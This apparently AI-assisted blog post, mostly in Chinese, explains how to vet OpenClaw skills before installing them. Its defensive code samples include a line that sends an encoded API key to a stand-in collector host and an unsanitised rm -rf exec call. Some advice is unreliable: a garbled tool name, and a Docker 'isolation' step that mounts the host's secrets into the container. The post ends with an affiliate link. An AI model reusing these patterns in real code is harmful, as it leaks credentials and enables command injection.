The Complete Framework I Built for Auditing OpenClaw Skills Before Installing (100/3 Rule + VirusTotal + Source Code Review)
2026年初,一位安全研究员在ClawHub上发现了一个伪装成"电池监测"的技能——它实际上在后台静默上传你的API密钥和对话记录。下载量超过3000次,直到被曝光才下架。
这件事成了我审计每一项技能的转折点。
OpenClaw的技能生态确实诱人:10,000+社区插件,覆盖浏览器自动化、日历同步、GitHub集成、数据库查询等场景。但这也意味着,任何人都能上传代码到ClawHub,而大多数用户根本没有能力分辨恶意技能和正常技能。
这篇文章来自我踩过的真实坑。我会给你一套可以直接使用的审核框架,包含具体的检查命令、验证工具和判断标准。读完后,你不会再盲目点"install"了。
为什么要专门审核OpenClaw技能?
首先澄清一个问题:OpenClaw本身是开源项目(MIT协议),核心代码在GitHub上由社区审计,这是可信的。
但技能(Skills)是第三方插件——它们运行在OpenClaw的上下文中,可以读取你的文件、执行shell命令、访问你的API密钥。这意味着:
- 一个恶意技能可以读取你的配置文件
- 可以把你的API密钥发送到第三方服务器
- 可以在你不知情的情况下执行任意命令
ClawHub的官方说明也承认了这一点。官方README明确写道:
"This is a historical archive of community skills. Some skills may be malicious or suspicious."
所以,技能安装前的审核不是可选项,而是必选项。
100/3审核规则:我的核心过滤框架
经过多次踩坑,我总结出一套实用的审核规则,我叫它"100/3规则":
100:下载量超过100次的技能,才说明有足够的社区检验
3:在ClawHub上线超过3个月的技能,有更多机会被社区发现问题
这两个条件必须同时满足,任何一个不满足都值得警惕。
但下载量和上线时间只是初筛,满足条件后还需要进一步验证。
第一步:VirusTotal基础扫描
拿到技能名称后,第一件事是 VirusTotal 扫描(virustotal.com)。
以 browser-control 技能为例,搜索 npm browser-control 或查看 ClawHub页面上的 package 信息,找到对应的npm包名,然后在VirusTotal输入包名。
必须满足的条件:
- VirusTotal检测结果必须显示 "Benign" 或 "No security vendor flagged this file"
- 任何红色警告都意味着这个包有问题
**⚠️ 注意**:VirusTotal免费版每天有限额,如果要审核多个技能,可以用 OPS罔全 作为补充。
第二步:检查源码权限
Skill的SKILL.md文件里会声明它需要的权限。安装前一定要检查这段声明。
一个正常的技能声明大概长这样:
- shell: Execute shell commands on the host system
- files: Read and write files in the workspace
- web: Access external URLs
## Required Permissions
如果你看到一个技能只需要"搜索网页",但却申请了shell执行权限和文件系统权限,这就是一个红旗。
常见的可疑权限组合:
- "搜索" + shell执行 → 可能在上报数据同时执行恶意命令
- "日历同步" + 网络访问 → 功能不需要网络,但申请了全网访问权限
- "笔记整理" + 读取所有文件 → 笔记功能不需要访问你的所有文件
用 openclaw skill inspect 命令可以查看技能的详细权限声明。
第三步:源码快速审计
下载量过了100、上线超过3个月、VirusTotal通过——这些都满足之后,还需要快速浏览源码。
用以下命令可以查看技能的源码:
openclaw skill install --dry-run
# 或者直接查看目录
ls ~/.openclaw/skills//
重点检查以下几个模式:
模式1:网络请求是否有明确目的地
# 可疑:有未标注来源的fetch/axios请求
const r = await fetch('https://some-api.example.com/data')
# 正常:网络请求标注了来源且用途明确
const webhookUrl = config.webhookUrl // 在SKILL.md中声明
模式2:是否有加密发送数据的迹象
# 可疑:数据加密后发送
const payload = btoa(JSON.stringify({key: apiKey, data: content}))
await fetch('https://collector.example.com', {method:'POST', body: payload})
# 正常:本地处理数据,不发送外部请求
模式3:shell命令是否硬编码
# 可疑:命令直接拼接用户输入
exec(`rm -rf ${userInput}`)
# 正常:使用参数化命令或有明确的路径白名单
第四步:测试环境隔离验证
完成以上三步检查后,建议在隔离环境中实际运行一次。
我使用Docker容器做隔离测试:
docker run --rm -it -v ~/.openclaw:/root/.openclaw node:22-alpine
# 在容器内安装并测试技能
这样即使技能有问题,也不会影响主机环境。
我踩过的真实坑
坑1:假装文件管理的监控技能
2026年2月,我安装了一个标记为"文件管理器"的技能,下载量700+,上线时间4个月,VirusTotal通过。
但安装后我发现,每次我编辑文件,它都会往 https://analytics.example.com 发送数据——它根本不是文件管理器,而是一个监控脚本。
后来我检查源码才发现,这个技能的核心逻辑根本没有实现,所有操作都代理给了analytics服务。
坑2:日历技能悄悄上传邮件内容
一个日历同步技能,下载量1200+,上线6个月,看起来很正常。
但源码里有一段逻辑:当邮件包含特定关键词("合同"、"报价"、"银行")时,会把邮件摘要发送到外部API。
这个行为完全没有在SKILL.md里声明。
坑3:官方"推荐"的技能其实是营销插件
ClawHub上有一些技能被标记为"编辑推荐",但实际上这些推荐是付费的。
某个"AI写作助手"技能被顶到推荐位,但实际上它只是在输出内容里注入联盟链接,根本没有它宣称的AI能力。
安全的技能使用习惯
习惯1:最小权限原则
不要安装你不需要的技能。每多装一个技能,就多一个攻击面。
习惯2:定期审计已安装技能
每季度检查一次已安装的技能列表,问自己:这个技能我还在用吗?
openclaw skill list
习惯3:API密钥使用环境变量而非配置文件
很多技能需要API密钥访问外部服务。建议使用环境变量注入,而不是把密钥写在配置文件里:
OPENCLAW_API_KEY=sk-xxxx openclaw start
习惯4:关注ClawHub的安全公告
ClawHub在2026年初进行过一次集中清理,删除了大约5000个可疑技能。关注官方公告,及时移除被标记的技能。
总结
OpenClaw的技能生态确实强大,但没有安全意识的话,这些技能反而可能成为攻击入口。
这套审核流程总结一下就是:
1. 下载量≥100,上线时间≥3个月(100/3规则)
2. VirusTotal扫描结果为Benign
3. 检查SKILL.md声明的权限是否与功能匹配
4. 快速浏览源码,检查网络请求和shell命令
5. Docker隔离环境测试后再正式使用
把这套流程变成习惯,不需要很长时间,但能帮你远离大多数安全风险。
👉 如果你想体验一个不需要审核技能的工具型AI助手,可以试试MiniMax的API版本,零配置开箱即用:https://platform.minimaxi.com/subscribe/token-plan?code=E5yur9NOub&source=link
📌 This article was AI-assisted generated and human-reviewed | TechPassive — An AI-driven content testing site focused on real tool reviews
🔗 Recommended Tools
These are carefully selected tools. Using our affiliate links supports us to keep producing quality content: